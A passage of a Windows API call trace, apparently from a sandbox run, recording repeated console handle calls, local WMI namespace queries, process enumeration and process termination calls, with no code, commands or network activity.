(normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37 [0067.825] GetLastError () returned 0x0 [0067.825] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x37, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.825] GetLastError () returned 0x0 [0067.829] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0067.829] GetLastError () returned 0x0 [0067.829] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.829] GetLastError () returned 0x0 [0067.833] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0067.833] GetLastError () returned 0x0 [0067.833] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.833] GetLastError () returned 0x0 [0067.833] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0067.833] GetLastError () returned 0x0 [0067.837] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0067.837] GetLastError () returned 0x0 [0067.837] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.838] GetLastError () returned 0x0 [0067.838] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0067.838] GetLastError () returned 0x0 [0067.842] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0067.843] GetLastError () returned 0x0 [0067.843] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.844] GetLastError () returned 0x0 [0067.844] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0067.844] GetLastError () returned 0x0 [0067.848] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0067.848] GetLastError () returned 0x0 [0067.848] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.848] GetLastError () returned 0x0 [0067.848] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0067.848] GetLastError () returned 0x0 [0067.849] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.849] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.849] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.849] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.849] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.849] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.849] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e4b0 | out: puCount=0x5e8e4b0*=0x2) returned 0x0 [0067.849] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e4ac*=0x17, pszText=0x0) returned 0x0 [0067.849] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e4ac*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.849] EnumProcesses (in: lpidProcess=0x2ddf27c, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2ddf27c, lpcbNeeded=0x5e8e5a8) returned 1 [0067.850] GetLastError () returned 0x0 [0067.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3b68378, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3b68378, ResultLength=0x5e8e528*=0xdbf8) returned 0x0 [0067.852] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.853] GetLastError () returned 0x0 [0067.853] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.853] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.853] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.853] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.853] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.853] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.853] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.853] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.853] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5fc | out: puCount=0x5e8e5fc*=0x2) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5f8*=0x17, pszText=0x0) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5f8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e584 | out: puCount=0x5e8e584*=0x2) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e580*=0x17, pszText=0x0) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e580*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.854] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.855] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.859] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0067.859] GetLastError () returned 0x0 [0067.859] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.859] GetLastError () returned 0x0 [0067.863] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43 [0067.863] GetLastError () returned 0x0 [0067.863] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x43, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.863] GetLastError () returned 0x0 [0067.867] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0067.867] GetLastError () returned 0x0 [0067.867] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.867] GetLastError () returned 0x0 [0067.871] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0067.871] GetLastError () returned 0x0 [0067.871] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.871] GetLastError () returned 0x0 [0067.875] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0067.875] GetLastError () returned 0x0 [0067.875] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.875] GetLastError () returned 0x0 [0067.875] SetConsoleTextAttribute (hConsoleOutput=0x4f, wAttributes=0x7) returned 1 [0067.875] GetLastError () returned 0x0 [0067.879] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0067.880] GetLastError () returned 0x0 [0067.880] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.880] GetLastError () returned 0x0 [0067.880] SetConsoleTextAttribute (hConsoleOutput=0x4f, wAttributes=0x7) returned 1 [0067.881] GetLastError () returned 0x0 [0067.884] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0067.885] GetLastError () returned 0x0 [0067.885] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.885] GetLastError () returned 0x0 [0067.885] SetConsoleTextAttribute (hConsoleOutput=0x4f, wAttributes=0x7) returned 1 [0067.885] GetLastError () returned 0x0 [0067.889] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0067.889] GetLastError () returned 0x0 [0067.889] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.890] GetLastError () returned 0x0 [0067.890] SetConsoleTextAttribute (hConsoleOutput=0x4f, wAttributes=0x7) returned 1 [0067.890] GetLastError () returned 0x0 [0067.890] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.890] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.890] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.890] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.890] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.890] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.891] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e4b0 | out: puCount=0x5e8e4b0*=0x2) returned 0x0 [0067.891] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e4ac*=0x17, pszText=0x0) returned 0x0 [0067.891] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e4ac*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.891] EnumProcesses (in: lpidProcess=0x2e05b80, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e05b80, lpcbNeeded=0x5e8e5a8) returned 1 [0067.892] GetLastError () returned 0x0 [0067.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3b88398, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3b88398, ResultLength=0x5e8e528*=0xdbb8) returned 0x0 [0067.893] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.894] GetLastError () returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5fc | out: puCount=0x5e8e5fc*=0x2) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5f8*=0x17, pszText=0x0) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5f8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.895] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.899] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0067.900] GetLastError () returned 0x0 [0067.900] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.900] GetLastError () returned 0x0 [0067.903] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0067.904] GetLastError () returned 0x0 [0067.904] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.904] GetLastError () returned 0x0 [0067.907] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0067.907] GetLastError () returned 0x0 [0067.908] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.908] GetLastError () returned 0x0 [0067.911] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b [0067.911] GetLastError () returned 0x0 [0067.911] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.912] GetLastError () returned 0x0 [0067.915] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0067.920] GetLastError () returned 0x0 [0067.920] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.920] GetLastError () returned 0x0 [0067.920] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0067.920] GetLastError () returned 0x0 [0067.924] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0067.925] GetLastError () returned 0x0 [0067.925] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.925] GetLastError () returned 0x0 [0067.925] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0067.925] GetLastError () returned 0x0 [0067.929] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), 